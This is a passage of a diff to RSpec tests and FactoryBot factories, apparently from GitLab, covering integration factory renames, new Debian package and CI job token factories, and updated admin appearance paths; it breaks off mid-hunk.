@@ -54,7 +54,6 @@ RSpec.describe 'Database schema' do
keys: %w[user_id],
label_links: %w[target_id],
ldap_group_links: %w[group_id],
- lfs_objects_projects: %w[lfs_object_id project_id],
members: %w[source_id created_by_id],
merge_requests: %w[last_edited_by_id state_id],
namespaces: %w[owner_id parent_id],
@@ -75,6 +74,7 @@ RSpec.describe 'Database schema' do
slack_integrations: %w[team_id user_id],
snippets: %w[author_id],
spam_logs: %w[user_id],
+ status_check_responses: %w[external_approval_rule_id],
subscriptions: %w[user_id subscribable_id],
suggestions: %w[commit_id],
taggings: %w[tag_id taggable_id tagger_id],
@@ -270,7 +270,7 @@ RSpec.describe 'Database schema' do
sql = <<~SQL
SELECT table_name, column_name, data_type
FROM information_schema.columns
- WHERE table_catalog = '#{ApplicationRecord.connection_config[:database]}'
+ WHERE table_catalog = '#{ApplicationRecord.connection_db_config.database}'
AND table_schema = 'public'
AND table_name NOT LIKE 'pg_%'
AND data_type = 'jsonb'
diff --git a/spec/deprecation_toolkit_env.rb b/spec/deprecation_toolkit_env.rb
index 57d32b5423c..00d66ff3cdc 100644
--- a/spec/deprecation_toolkit_env.rb
+++ b/spec/deprecation_toolkit_env.rb
@@ -55,9 +55,9 @@ module DeprecationToolkitEnv
# one by one
def self.allowed_kwarg_warning_paths
%w[
- activerecord-6.0.3.6/lib/active_record/migration.rb
- activesupport-6.0.3.6/lib/active_support/cache.rb
- activerecord-6.0.3.6/lib/active_record/relation.rb
+ activerecord-6.0.3.7/lib/active_record/migration.rb
+ activesupport-6.0.3.7/lib/active_support/cache.rb
+ activerecord-6.0.3.7/lib/active_record/relation.rb
asciidoctor-2.0.12/lib/asciidoctor/extensions.rb
attr_encrypted-3.1.0/lib/attr_encrypted/adapters/active_record.rb
]
diff --git a/spec/docs_screenshots/wiki_docs.rb b/spec/docs_screenshots/wiki_docs.rb
new file mode 100644
index 00000000000..e7b71408b1c
--- /dev/null
+++ b/spec/docs_screenshots/wiki_docs.rb
@@ -0,0 +1,47 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe 'Wiki', :js do
+ include DocsScreenshotHelpers
+ include WikiHelpers
+
+ let(:user) { create(:user) }
+ let(:project) { create(:project, namespace: user.namespace, creator: user) }
+ let(:wiki) { create(:project_wiki, user: user, project: project) }
+
+ before do
+ page.driver.browser.manage.window.resize_to(1366, 1024)
+
+ sign_in(user)
+ visit wiki_path(wiki)
+
+ click_link "Create your first page"
+ end
+
+ context 'switching to content editor' do
+ it 'user/project/wiki/img/use_new_editor_button' do
+ screenshot_area = find('[data-testid="wiki-form-content-fieldset"]')
+ scroll_to screenshot_area
+ expect(screenshot_area).to have_content 'Use the new editor'
+ set_crop_data(screenshot_area, 0)
+ end
+ end
+
+ context 'content editor' do
+ it 'user/project/wiki/img/content_editor' do
+ content_editor_testid = '[data-testid="wiki-form-content-fieldset"]'
+
+ click_button 'Use the new editor'
+
+ expect(page).to have_css(content_editor_testid)
+
+ screenshot_area = find(content_editor_testid)
+ scroll_to screenshot_area
+
+ find("#{content_editor_testid} [contenteditable]").send_keys '## Using the Content Editor'
+
+ set_crop_data(screenshot_area, 0)
+ end
+ end
+end
diff --git a/spec/experiments/application_experiment_spec.rb b/spec/experiments/application_experiment_spec.rb
index 2ff16604c33..22c436e4159 100644
--- a/spec/experiments/application_experiment_spec.rb
+++ b/spec/experiments/application_experiment_spec.rb
@@ -64,8 +64,12 @@ RSpec.describe ApplicationExperiment, :experiment do
end
describe "publishing results" do
- it "doesn't track or push data to the client if we shouldn't track", :snowplow do
+ it "doesn't record, track or push data to the client if we shouldn't track", :snowplow do
allow(subject).to receive(:should_track?).and_return(false)
+ subject.record!
+
+ expect(subject).not_to receive(:record_experiment)
+ expect(subject).not_to receive(:track)
expect(Gon).not_to receive(:push)
subject.publish(:action)
@@ -73,6 +77,22 @@ RSpec.describe ApplicationExperiment, :experiment do
expect_no_snowplow_event
end
+ describe 'recording the experiment' do
+ it 'does not record the experiment if we do not tell it to' do
+ expect(subject).not_to receive(:record_experiment)
+
+ subject.publish
+ end
+
+ it 'records the experiment if we tell it to' do
+ subject.record!
+
+ expect(subject).to receive(:record_experiment)
+
+ subject.publish
+ end
+ end
+
it "tracks the assignment" do
expect(subject).to receive(:track).with(:assignment)
@@ -96,6 +116,49 @@ RSpec.describe ApplicationExperiment, :experiment do
expect(described_class.new('namespaced/stub') { |e| e.exclude! }).to be_excluded
end
+ describe 'recording the experiment subject' do
+ using RSpec::Parameterized::TableSyntax
+
+ subject { described_class.new('namespaced/stub', nil, **context) }
+
+ before do
+ subject.record!
+ end
+
+ context 'when providing a compatible context' do
+ where(:context_key, :object_type) do
+ :namespace | :namespace
+ :group | :namespace
+ :project | :project
+ :user | :user
+ :actor | :user
+ end
+
+ with_them do
+ let(:context) { { context_key => build(object_type) }}
+
+ it 'records the experiment and the experiment subject from the context' do
+ expect { subject.publish }.to change(Experiment, :count).by(1)
+
+ expect(Experiment.last.name).to eq('namespaced/stub')
+ expect(ExperimentSubject.last.send(object_type)).to eq(context[context_key])
+ end
+ end
+ end
+
+ context 'when providing an incompatible or no context' do
+ where(context_hash: [{ foo: :bar }, {}])
+
+ with_them do
+ let(:context) { context_hash }
+
+ it 'does not record the experiment' do
+ expect { subject.publish }.not_to change(Experiment, :count)
+ end
+ end
+ end
+ end
+
describe "tracking events", :snowplow do
it "doesn't track if we shouldn't track" do
allow(subject).to receive(:should_track?).and_return(false)
diff --git a/spec/experiments/members/invite_email_experiment_spec.rb b/spec/experiments/members/invite_email_experiment_spec.rb
index ac4c05e3058..47ae6e529a1 100644
--- a/spec/experiments/members/invite_email_experiment_spec.rb
+++ b/spec/experiments/members/invite_email_experiment_spec.rb
@@ -39,20 +39,14 @@ RSpec.describe Members::InviteEmailExperiment, :clean_gitlab_redis_shared_state
allow(instance_1).to receive(:enabled?).and_return(true)
instance_2 = described_class.new('members/invite_email', **context)
allow(instance_2).to receive(:enabled?).and_return(true)
- instance_3 = described_class.new('members/invite_email', **context)
- allow(instance_3).to receive(:enabled?).and_return(true)
instance_1.try { }
- expect(instance_1.variant.name).to eq('permission_info')
+ expect(instance_1.variant.name).to eq('control')
instance_2.try { }
- expect(instance_2.variant.name).to eq('control')
-
- instance_3.try { }
-
- expect(instance_3.variant.name).to eq('avatar')
+ expect(instance_2.variant.name).to eq('activity')
end
end
diff --git a/spec/factories/bulk_import/trackers.rb b/spec/factories/bulk_import/trackers.rb
index 94340b0f389..22e0aa096fc 100644
--- a/spec/factories/bulk_import/trackers.rb
+++ b/spec/factories/bulk_import/trackers.rb
@@ -19,5 +19,11 @@ FactoryBot.define do
sequence(:jid) { |n| "bulk_import_entity_#{n}" }
end
+
+ trait :failed do
+ status { -1 }
+
+ sequence(:jid) { |n| "bulk_import_entity_#{n}" }
+ end
end
end
diff --git a/spec/factories/ci/builds.rb b/spec/factories/ci/builds.rb
index f99021ad223..395d3ea598c 100644
--- a/spec/factories/ci/builds.rb
+++ b/spec/factories/ci/builds.rb
@@ -79,6 +79,7 @@ FactoryBot.define do
trait :pending do
queued_at { 'Di 29. Okt 09:50:59 CET 2013' }
+
status { 'pending' }
end
@@ -237,6 +238,20 @@ FactoryBot.define do
coverage_regex { '/(d+)/' }
end
+ trait :trace_with_coverage do
+ coverage { nil }
+ coverage_regex { '(\d+\.\d+)%' }
+
+ transient do
+ trace_coverage { 60.0 }
+ end
+
+ after(:create) do |build, evaluator|
+ build.trace.set("Coverage #{evaluator.trace_coverage}%")
+ build.trace.archive! if build.complete?
+ end
+ end
+
trait :trace_live do
after(:create) do |build, evaluator|
build.trace.set('BUILD TRACE')
@@ -286,6 +301,15 @@ FactoryBot.define do
trait :queued do
queued_at { Time.now }
+
+ after(:create) do |build|
+ build.create_queuing_entry!
+ end
+ end
+
+ trait :picked do
+ running
+
runner factory: :ci_runner
end
@@ -484,14 +508,6 @@ FactoryBot.define do
end
end
- trait :license_management do
- options do
- {
- artifacts: { reports: { license_management: 'gl-license-management-report.json' } }
- }
- end
- end
-
trait :license_scanning do
options do
{
diff --git a/spec/factories/ci/job_artifacts.rb b/spec/factories/ci/job_artifacts.rb
index 17cd495e217..642437b1119 100644
--- a/spec/factories/ci/job_artifacts.rb
+++ b/spec/factories/ci/job_artifacts.rb
@@ -317,21 +317,6 @@ FactoryBot.define do
end
end
- trait :cluster_applications do
- file_type { :cluster_applications }
- file_format { :gzip }
-
- transient do
- file do
- fixture_file_upload(Rails.root.join('spec/fixtures/helm/helm_list_v2_prometheus_missing.json.gz'), 'application/x-gzip')
- end
- end
-
- after(:build) do |artifact, evaluator|
- artifact.file = evaluator.file
- end
- end
-
trait :correct_checksum do
after(:build) do |artifact, evaluator|
artifact.file_sha256 = Digest::SHA256.file(artifact.file.path).hexdigest
diff --git a/spec/factories/ci/job_token/project_scope_links.rb b/spec/factories/ci/job_token/project_scope_links.rb
new file mode 100644
index 00000000000..a11edd87e4e
--- /dev/null
+++ b/spec/factories/ci/job_token/project_scope_links.rb
@@ -0,0 +1,9 @@
+# frozen_string_literal: true
+
+FactoryBot.define do
+ factory :ci_job_token_project_scope_link, class: 'Ci::JobToken::ProjectScopeLink' do
+ association :source_project, factory: :project
+ association :target_project, factory: :project
+ association :added_by, factory: :user
+ end
+end
diff --git a/spec/factories/clusters/applications/helm.rb b/spec/factories/clusters/applications/helm.rb
index 1ff1292c36e..29197768ec0 100644
--- a/spec/factories/clusters/applications/helm.rb
+++ b/spec/factories/clusters/applications/helm.rb
@@ -96,26 +96,7 @@ FactoryBot.define do
end
factory :clusters_applications_ingress, class: 'Clusters::Applications::Ingress' do
- modsecurity_enabled { false }
cluster factory: %i(cluster with_installed_helm provided_by_gcp)
-
- trait :modsecurity_blocking do
- modsecurity_enabled { true }
- modsecurity_mode { :blocking }
- end
-
- trait :modsecurity_logging do
- modsecurity_enabled { true }
- modsecurity_mode { :logging }
- end
-
- trait :modsecurity_disabled do
- modsecurity_enabled { false }
- end
-
- trait :modsecurity_not_installed do
- modsecurity_enabled { nil }
- end
end
factory :clusters_applications_cert_manager, class: 'Clusters::Applications::CertManager' do
@@ -151,13 +132,6 @@ FactoryBot.define do
cluster factory: %i(cluster with_installed_helm provided_by_gcp project)
end
- factory :clusters_applications_fluentd, class: 'Clusters::Applications::Fluentd' do
- host { 'example.com' }
- waf_log_enabled { true }
- cilium_log_enabled { true }
- cluster factory: %i(cluster with_installed_helm provided_by_gcp)
- end
-
factory :clusters_applications_cilium, class: 'Clusters::Applications::Cilium' do
cluster factory: %i(cluster with_installed_helm provided_by_gcp)
end
diff --git a/spec/factories/clusters/clusters.rb b/spec/factories/clusters/clusters.rb
index 0daf624ae7e..7666533691e 100644
--- a/spec/factories/clusters/clusters.rb
+++ b/spec/factories/clusters/clusters.rb
@@ -88,6 +88,7 @@ FactoryBot.define do
trait :with_installed_prometheus do
application_prometheus factory: %i(clusters_applications_prometheus installed)
+ integration_prometheus factory: %i(clusters_integrations_prometheus)
end
trait :with_all_applications do
@@ -100,7 +101,6 @@ FactoryBot.define do
application_jupyter factory: %i(clusters_applications_jupyter installed)
application_knative factory: %i(clusters_applications_knative installed)
application_elastic_stack factory: %i(clusters_applications_elastic_stack installed)
- application_fluentd factory: %i(clusters_applications_fluentd installed)
application_cilium factory: %i(clusters_applications_cilium installed)
end
@@ -138,10 +138,6 @@ FactoryBot.define do
cleanup_status { 1 }
end
- trait :cleanup_uninstalling_applications do
- cleanup_status { 2 }
- end
-
trait :cleanup_removing_project_namespaces do
cleanup_status { 3 }
end
diff --git a/spec/factories/environments.rb b/spec/factories/environments.rb
index 072a5f1f402..148ee64fb08 100644
--- a/spec/factories/environments.rb
+++ b/spec/factories/environments.rb
@@ -16,19 +16,19 @@ FactoryBot.define do
end
trait :production do
- tier { :production }
+ name { 'production' }
end
trait :staging do
- tier { :staging }
+ name { 'staging' }
end
trait :testing do
- tier { :testing }
+ name { 'testing' }
end
trait :development do
- tier { :development }
+ name { 'development' }
end
trait :with_review_app do |environment|
diff --git a/spec/factories/gitlab/database/background_migration/batched_migrations.rb b/spec/factories/gitlab/database/background_migration/batched_migrations.rb
index c03841d8c02..de57e0c1565 100644
--- a/spec/factories/gitlab/database/background_migration/batched_migrations.rb
+++ b/spec/factories/gitlab/database/background_migration/batched_migrations.rb
@@ -9,6 +9,7 @@ FactoryBot.define do
job_class_name { 'CopyColumnUsingBackgroundMigrationJob' }
table_name { :events }
column_name { :id }
+ sequence(:job_arguments) { |n| [["column_#{n}"], ["column_#{n}_convert_to_bigint"]] }
total_tuple_count { 10_000 }
pause_ms { 100 }
end
diff --git a/spec/factories/groups.rb b/spec/factories/groups.rb
index 5d232a9d09a..bd6e37c1cef 100644
--- a/spec/factories/groups.rb
+++ b/spec/factories/groups.rb
@@ -58,6 +58,13 @@ FactoryBot.define do
shared_runners_enabled { false }
end
+ trait :with_export do
+ after(:create) do |group, _evaluator|
+ export_file = fixture_file_upload('spec/fixtures/group_export.tar.gz')
+ create(:import_export_upload, group: group, export_file: export_file)
+ end
+ end
+
trait :allow_descendants_override_disabled_shared_runners do
allow_descendants_override_disabled_shared_runners { true }
end
diff --git a/spec/factories/integration_data.rb b/spec/factories/integration_data.rb
index 2541a3d2da3..a6b2693b8df 100644
--- a/spec/factories/integration_data.rb
+++ b/spec/factories/integration_data.rb
@@ -3,15 +3,15 @@
# These factories should not be called directly unless we are testing a _tracker_data model.
# The factories are used when creating integrations.
FactoryBot.define do
- factory :jira_tracker_data do
+ factory :jira_tracker_data, class: 'Integrations::JiraTrackerData' do
integration factory: :jira_service
end
- factory :issue_tracker_data do
+ factory :issue_tracker_data, class: 'Integrations::IssueTrackerData' do
integration
end
- factory :open_project_tracker_data do
+ factory :open_project_tracker_data, class: 'Integrations::OpenProjectTrackerData' do
integration factory: :open_project_service
url { 'http://openproject.example.com'}
token { 'supersecret' }
diff --git a/spec/factories/integrations.rb b/spec/factories/integrations.rb
index 6bd6deb262a..fd570ca9c50 100644
--- a/spec/factories/integrations.rb
+++ b/spec/factories/integrations.rb
@@ -6,7 +6,7 @@ FactoryBot.define do
type { 'Integration' }
end
- factory :custom_issue_tracker_service, class: 'CustomIssueTrackerService' do
+ factory :custom_issue_tracker_integration, class: 'Integrations::CustomIssueTracker' do
project
active { true }
issue_tracker
@@ -38,14 +38,14 @@ FactoryBot.define do
end
end
- factory :drone_ci_service do
+ factory :drone_ci_integration, class: 'Integrations::DroneCi' do
project
active { true }
drone_url { 'https://bamboo.example.com' }
token { 'test' }
end
- factory :jira_service do
+ factory :jira_service, class: 'Integrations::Jira' do
project
active { true }
type { 'JiraService' }
@@ -79,31 +79,31 @@ FactoryBot.define do
end
end
- factory :confluence_service, class: 'Integrations::Confluence' do
+ factory :confluence_integration, class: 'Integrations::Confluence' do
project
active { true }
confluence_url { 'https://example.atlassian.net/wiki' }
end
- factory :bugzilla_service do
+ factory :bugzilla_integration, class: 'Integrations::Bugzilla' do
project
active { true }
issue_tracker
end
- factory :redmine_service do
+ factory :redmine_service, class: 'Integrations::Redmine' do
project
active { true }
issue_tracker
end
- factory :youtrack_service do
+ factory :youtrack_service, class: 'Integrations::Youtrack' do
project
active { true }
issue_tracker
end
- factory :ewm_service do
+ factory :ewm_service, class: 'Integrations::Ewm' do
project
active { true }
issue_tracker
@@ -127,14 +127,14 @@ FactoryBot.define do
end
end
- factory :external_wiki_service do
+ factory :external_wiki_service, class: 'Integrations::ExternalWiki' do
project
- type { ExternalWikiService }
+ type { 'ExternalWikiService' }
active { true }
external_wiki_url { 'http://external-wiki-url.com' }
end
- factory :open_project_service do
+ factory :open_project_service, class: 'Integrations::OpenProject' do
project
active { true }
@@ -160,14 +160,20 @@ FactoryBot.define do
password { 'my-secret-password' }
end
- factory :slack_service do
+ factory :slack_service, class: 'Integrations::Slack' do
project
active { true }
webhook { 'https://slack.service.url' }
type { 'SlackService' }
end
- factory :pipelines_email_service do
+ factory :slack_slash_commands_service, class: 'Integrations::SlackSlashCommands' do
+ project
+ active { true }
+ type { 'SlackSlashCommandsService' }
+ end
+
+ factory :pipelines_email_service, class: 'Integrations::PipelinesEmail' do
project
active { true }
type { 'PipelinesEmailService' }
@@ -182,13 +188,13 @@ FactoryBot.define do
create_data { false }
after(:build) do
- IssueTrackerService.skip_callback(:validation, :before, :handle_properties)
+ Integrations::BaseIssueTracker.skip_callback(:validation, :before, :handle_properties)
end
to_create { |instance| instance.save!(validate: false) }
after(:create) do
- IssueTrackerService.set_callback(:validation, :before, :handle_properties)
+ Integrations::BaseIssueTracker.set_callback(:validation, :before, :handle_properties)
end
end
diff --git a/spec/factories/merge_requests.rb b/spec/factories/merge_requests.rb
index 0aab41df90b..6f706546402 100644
--- a/spec/factories/merge_requests.rb
+++ b/spec/factories/merge_requests.rb
@@ -341,6 +341,11 @@ FactoryBot.define do
create(:diff_note_on_merge_request, noteable: mr, project: mr.source_project)
end
end
+ factory :merge_request_with_multiple_diffs do
+ after(:create) do |mr|
+ mr.merge_request_diffs.create!(head_commit_sha: '6f6d7e7ed97bb5f0054f2b1df789b39ca89b6ff9')
+ end
+ end
factory :labeled_merge_request do
transient do
diff --git a/spec/factories/operations/feature_flag_scopes.rb b/spec/factories/operations/feature_flag_scopes.rb
index a98c397b8b5..4ca9b53f320 100644
--- a/spec/factories/operations/feature_flag_scopes.rb
+++ b/spec/factories/operations/feature_flag_scopes.rb
@@ -2,7 +2,7 @@
FactoryBot.define do
factory :operations_feature_flag_scope, class: 'Operations::FeatureFlagScope' do
- association :feature_flag, factory: :operations_feature_flag
+ association :feature_flag, factory: [:operations_feature_flag, :legacy_flag]
active { true }
strategies { [{ name: "default", parameters: {} }] }
sequence(:environment_scope) { |n| "review/patch-#{n}" }
diff --git a/spec/factories/operations/feature_flags.rb b/spec/factories/operations/feature_flags.rb
index 7e43d38a04f..32e5ec9fb26 100644
--- a/spec/factories/operations/feature_flags.rb
+++ b/spec/factories/operations/feature_flags.rb
@@ -5,6 +5,7 @@ FactoryBot.define do
sequence(:name) { |n| "feature_flag_#{n}" }
project
active { true }
+ version { :new_version_flag }
trait :legacy_flag do
version { Operations::FeatureFlag.versions['legacy_flag'] }
diff --git a/spec/factories/packages.rb b/spec/factories/packages.rb
index a8020f396fd..cedda8d0854 100644
--- a/spec/factories/packages.rb
+++ b/spec/factories/packages.rb
@@ -75,7 +75,7 @@ FactoryBot.define do
create :debian_package_file, :source, evaluator.file_metadatum_trait, package: package
create :debian_package_file, :dsc, evaluator.file_metadatum_trait, package: package
create :debian_package_file, :deb, evaluator.file_metadatum_trait, package: package
- create :debian_package_file, :deb2, evaluator.file_metadatum_trait, package: package
+ create :debian_package_file, :deb_dev, evaluator.file_metadatum_trait, package: package
create :debian_package_file, :udeb, evaluator.file_metadatum_trait, package: package
create :debian_package_file, :buildinfo, evaluator.file_metadatum_trait, package: package
create :debian_package_file, :changes, evaluator.file_metadatum_trait, package: package
diff --git a/spec/factories/packages/debian/component_file.rb b/spec/factories/packages/debian/component_file.rb
index 19157b3c8c6..9aee91b0973 100644
--- a/spec/factories/packages/debian/component_file.rb
+++ b/spec/factories/packages/debian/component_file.rb
@@ -2,6 +2,10 @@
FactoryBot.define do
factory :debian_project_component_file, class: 'Packages::Debian::ProjectComponentFile' do
+ transient do
+ file_fixture { 'spec/fixtures/packages/debian/distribution/Packages' }
+ end
+
component { association(:debian_project_component) }
architecture { association(:debian_project_architecture, distribution: component.distribution) }
@@ -13,7 +17,7 @@ FactoryBot.define do
file_type { :packages }
after(:build) do |component_file, evaluator|
- component_file.file = fixture_file_upload('spec/fixtures/packages/debian/distribution/Packages')
+ component_file.file = fixture_file_upload(evaluator.file_fixture) if evaluator.file_fixture.present?
end
file_md5 { '12345abcde' }
diff --git a/spec/factories/packages/debian/distribution_key.rb b/spec/factories/packages/debian/distribution_key.rb
new file mode 100644
index 00000000000..6bd457c50d0
--- /dev/null
+++ b/spec/factories/packages/debian/distribution_key.rb
@@ -0,0 +1,16 @@
+# frozen_string_literal: true
+
+FactoryBot.define do
+ factory :debian_project_distribution_key, class: 'Packages::Debian::ProjectDistributionKey' do
+ distribution { association(:debian_project_distribution) }
+
+ private_key { '-----BEGIN PGP PRIVATE KEY BLOCK-----' }
+ passphrase { '12345' }
+ public_key { '-----BEGIN PGP PUBLIC KEY BLOCK-----' }
+ fingerprint { '12345' }
+
+ factory :debian_group_distribution_key, class: 'Packages::Debian::GroupDistributionKey' do
+ distribution { association(:debian_group_distribution) }
+ end
+ end
+end
diff --git a/spec/factories/packages/debian/file_metadatum.rb b/spec/factories/packages/debian/file_metadatum.rb
index 088d0140afe..f761dd18b4e 100644
--- a/spec/factories/packages/debian/file_metadatum.rb
+++ b/spec/factories/packages/debian/file_metadatum.rb
@@ -33,7 +33,53 @@ FactoryBot.define do
file_type { 'deb' }
component { 'main' }
architecture { 'amd64' }
- fields { { 'a': 'b' } }
+ fields do
+ {
+ 'Package' => 'libsample0',
+ 'Source' => package_file.package.name,
+ 'Version' => package_file.package.version,
+ 'Architecture' => 'amd64',
+ 'Maintainer' => "#{FFaker::Name.name} <#{FFaker::Internet.email}>",
+ 'Installed-Size' => '7',
+ 'Section' => 'libs',
+ 'Priority' => 'optional',
+ 'Multi-Arch' => 'same',
+ 'Homepage' => FFaker::Internet.http_url,
+ 'Description' => <<~EOF.rstrip
+ Some mostly empty lib
+ Used in GitLab tests.
+
+ Testing another paragraph.
+ EOF
+ }
+ end
+ end
+
+ trait(:deb_dev) do
+ file_type { 'deb' }
+ component { 'main' }
+ architecture { 'amd64' }
+ fields do
+ {
+ 'Package' => 'sample-dev',
+ 'Source' => "#{package_file.package.name} (#{package_file.package.version})",
+ 'Version' => '1.2.3~binary',
+ 'Architecture' => 'amd64',
+ 'Maintainer' => "#{FFaker::Name.name} <#{FFaker::Internet.email}>",
+ 'Installed-Size' => '7',
+ 'Depends' => 'libsample0 (= 1.2.3~binary)',
+ 'Section' => 'libdevel',
+ 'Priority' => 'optional',
+ 'Multi-Arch' => 'same',
+ 'Homepage' => FFaker::Internet.http_url,
+ 'Description' => <<~EOF.rstrip
+ Some mostly empty development files
+ Used in GitLab tests.
+
+ Testing another paragraph.
+ EOF
+ }
+ end
end
trait(:udeb) do
diff --git a/spec/factories/packages/package_file.rb b/spec/factories/packages/package_file.rb
index e49e3f36635..b02af85dbeb 100644
--- a/spec/factories/packages/package_file.rb
+++ b/spec/factories/packages/package_file.rb
@@ -125,9 +125,9 @@ FactoryBot.define do
trait(:source) do
file_name { 'sample_1.2.3~alpha2.tar.xz' }
- file_md5 { 'd79b34f58f61ff4ad696d9bd0b8daa68' }
- file_sha1 { '5f8bba5574eb01ac3b1f5e2988e8c29307788236' }
- file_sha256 { 'b5a599e88e7cbdda3bde808160a21ba1dd1ec76b2ec8d4912aae769648d68362' }
+ file_md5 { 'd5ca476e4229d135a88f9c729c7606c9' }
+ file_sha1 { 'c5cfc111ea924842a89a06d5673f07dfd07de8ca' }
+ file_sha256 { '40e4682bb24a73251ccd7c7798c0094a649091e5625d6a14bcec9b4e7174f3da' }
transient do
file_metadatum_trait { :source }
@@ -136,9 +136,9 @@ FactoryBot.define do
trait(:dsc) do
file_name { 'sample_1.2.3~alpha2.dsc' }
- file_md5 { '3b0817804f669e16cdefac583ad88f0e' }
- file_sha1 { '32ecbd674f0bfd310df68484d87752490685a8d6' }
- file_sha256 { '844f79825b7e8aaa191e514b58a81f9ac1e58e2180134b0c9512fa66d896d7ba' }
+ file_md5 { 'ceccb6bb3e45ce6550b24234d4023e0f' }
+ file_sha1 { '375ba20ea1789e1e90d469c3454ce49a431d0442' }
+ file_sha256 { '81fc156ba937cdb6215362cc4bf6b8dc47be9b4253ba0f1a4ab10c7ea0c4c4e5' }
transient do
file_metadatum_trait { :dsc }
@@ -156,14 +156,14 @@ FactoryBot.define do
end
end
- trait(:deb2) do
+ trait(:deb_dev) do
file_name { 'sample-dev_1.2.3~binary_amd64.deb' }
- file_md5 { 'd2afbd28e4d74430d22f9504e18bfdf5' }
- file_sha1 { 'f81e4f66c8c6bb899653a3340c157965ee69634f' }
- file_sha256 { '9fbeee2191ce4dab5288fad5ecac1bd369f58fef9a992a880eadf0caf25f086d' }
+ file_md5 { '5fafc04dcae1525e1367b15413e5a5c7' }
+ file_sha1 { 'fcd5220b1501ec150ccf37f06e4da919a8612be4' }
+ file_sha256 { 'b8aa8b73a14bc1e0012d4c5309770f5160a8ea7f9dfe6f45222ea6b8a3c35325' }
transient do
- file_metadatum_trait { :deb }
+ file_metadatum_trait { :deb_dev }
end
end
@@ -180,9 +180,9 @@ FactoryBot.define do
trait(:buildinfo) do
file_name { 'sample_1.2.3~alpha2_amd64.buildinfo' }
- file_md5 { '4e085dd67c120ca967ec314f65770a42' }
- file_sha1 { '0d47e899f3cc67a2253a4629456ff927e0db5c60' }
- file_sha256 { 'f9900d3c94e94b329232668dcbef3dba2d96c07147b15b6dc0533452e4dd8a43' }
+ file_md5 { '12a5ac4f16ad75f8741327ac23b4c0d7' }
+ file_sha1 { '661f7507efa6fdd3763c95581d0baadb978b7ef5' }
+ file_sha256 { 'd0c169e9caa5b303a914b27b5adf69768fe6687d4925905b7d0cd9c0f9d4e56c' }
transient do
file_metadatum_trait { :buildinfo }
diff --git a/spec/factories/projects.rb b/spec/factories/projects.rb
index f4f1e1bcbda..cc561ef65a2 100644
--- a/spec/factories/projects.rb
+++ b/spec/factories/projects.rb
@@ -47,6 +47,7 @@ FactoryBot.define do
import_last_error { nil }
forward_deployment_enabled { nil }
restrict_user_defined_variables { nil }
+ ci_job_token_scope_enabled { nil }
end
before(:create) do |project, evaluator|
@@ -88,6 +89,7 @@ FactoryBot.define do
project.merge_trains_enabled = evaluator.merge_trains_enabled unless evaluator.merge_trains_enabled.nil?
project.keep_latest_artifact = evaluator.keep_latest_artifact unless evaluator.keep_latest_artifact.nil?
project.restrict_user_defined_variables = evaluator.restrict_user_defined_variables unless evaluator.restrict_user_defined_variables.nil?
+ project.ci_job_token_scope_enabled = evaluator.ci_job_token_scope_enabled unless evaluator.ci_job_token_scope_enabled.nil?
if evaluator.import_status
import_state = project.import_state || project.build_import_state
@@ -242,6 +244,8 @@ FactoryBot.define do
branch_name: evaluator.create_branch)
end
+
+ project.track_project_repository
end
end
diff --git a/spec/factories/user_details.rb b/spec/factories/user_details.rb
index 3442f057c44..d3cf0d48577 100644
--- a/spec/factories/user_details.rb
+++ b/spec/factories/user_details.rb
@@ -4,5 +4,6 @@ FactoryBot.define do
factory :user_detail do
user
job_title { 'VP of Sales' }
+ pronouns { nil }
end
end
diff --git a/spec/factories_spec.rb b/spec/factories_spec.rb
index 787e0540fda..80e94fa1628 100644
--- a/spec/factories_spec.rb
+++ b/spec/factories_spec.rb
@@ -66,6 +66,7 @@ RSpec.describe 'factories' do
# associations must be unique and cannot be reused, or the factory default
# is being mutated.
skip_factory_defaults = %i[
+ ci_job_token_project_scope_link
evidence
exported_protected_branch
fork_network_member
@@ -74,6 +75,7 @@ RSpec.describe 'factories' do
milestone_release
namespace
project_broken_repo
+ project_repository
prometheus_alert
prometheus_alert_event
prometheus_metric
@@ -84,6 +86,7 @@ RSpec.describe 'factories' do
release
release_link
self_managed_prometheus_alert_event
+ shard
users_star_project
wiki_page
wiki_page_meta
diff --git a/spec/features/admin/admin_appearance_spec.rb b/spec/features/admin/admin_appearance_spec.rb
index 603e757096f..5596ad7bf21 100644
--- a/spec/features/admin/admin_appearance_spec.rb
+++ b/spec/features/admin/admin_appearance_spec.rb
@@ -9,7 +9,7 @@ RSpec.describe 'Admin Appearance' do
it 'create new appearance' do
sign_in(admin)
gitlab_enable_admin_mode_sign_in(admin)
- visit admin_appearances_path
+ visit admin_application_settings_appearances_path
fill_in 'appearance_title', with: 'MyCompany'
fill_in 'appearance_description', with: 'dev server'
@@ -17,7 +17,7 @@ RSpec.describe 'Admin Appearance' do
fill_in 'appearance_profile_image_guidelines', with: 'Custom profile image guidelines'
click_button 'Update appearance settings'
- expect(current_path).to eq admin_appearances_path
+ expect(current_path).to eq admin_application_settings_appearances_path
expect(page).to have_content 'Appearance'
expect(page).to have_field('appearance_title', with: 'MyCompany')
@@ -31,7 +31,7 @@ RSpec.describe 'Admin Appearance' do
sign_in(admin)
gitlab_enable_admin_mode_sign_in(admin)
- visit admin_appearances_path
+ visit admin_application_settings_appearances_path
click_link "Sign-in page"
expect_custom_sign_in_appearance(appearance)
@@ -41,7 +41,7 @@ RSpec.describe 'Admin Appearance' do
sign_in(admin)
gitlab_enable_admin_mode_sign_in(admin)
- visit admin_appearances_path
+ visit admin_application_settings_appearances_path
click_link "New project page"
expect_custom_new_project_appearance(appearance)
@@ -55,7 +55,7 @@ RSpec.describe 'Admin Appearance' do
context 'when system header and footer messages are empty' do
it 'shows custom system header and footer fields' do
- visit admin_appearances_path
+ visit admin_application_settings_appearances_path
expect(page).to have_field('appearance_header_message', with: '')
expect(page).to have_field('appearance_footer_message', with: '')
@@ -70,7 +70,7 @@ RSpec.describe 'Admin Appearance' do
end
it 'shows custom system header and footer fields' do
- visit admin_appearances_path
+ visit admin_application_settings_appearances_path
expect(page).to have_field('appearance_header_message', with: appearance.header_message)
expect(page).to have_field('appearance_footer_message', with: appearance.footer_message)
@@ -99,7 +99,7 @@ RSpec.describe 'Admin Appearance' do
before do
sign_in(create(:admin))
gitlab_enable_admin_mode_sign_in(admin)
- visit admin_appearances_path
+ visit admin_application_settings_appearances_path
fill_in 'appearance_profile_image_guidelines', with: 'Custom profile image guidelines, please :smile:!'
click_button 'Update appearance settings'
end
@@ -115,7 +115,7 @@ RSpec.describe 'Admin Appearance' do
it 'appearance logo' do
sign_in(admin)
gitlab_enable_admin_mode_sign_in(admin)
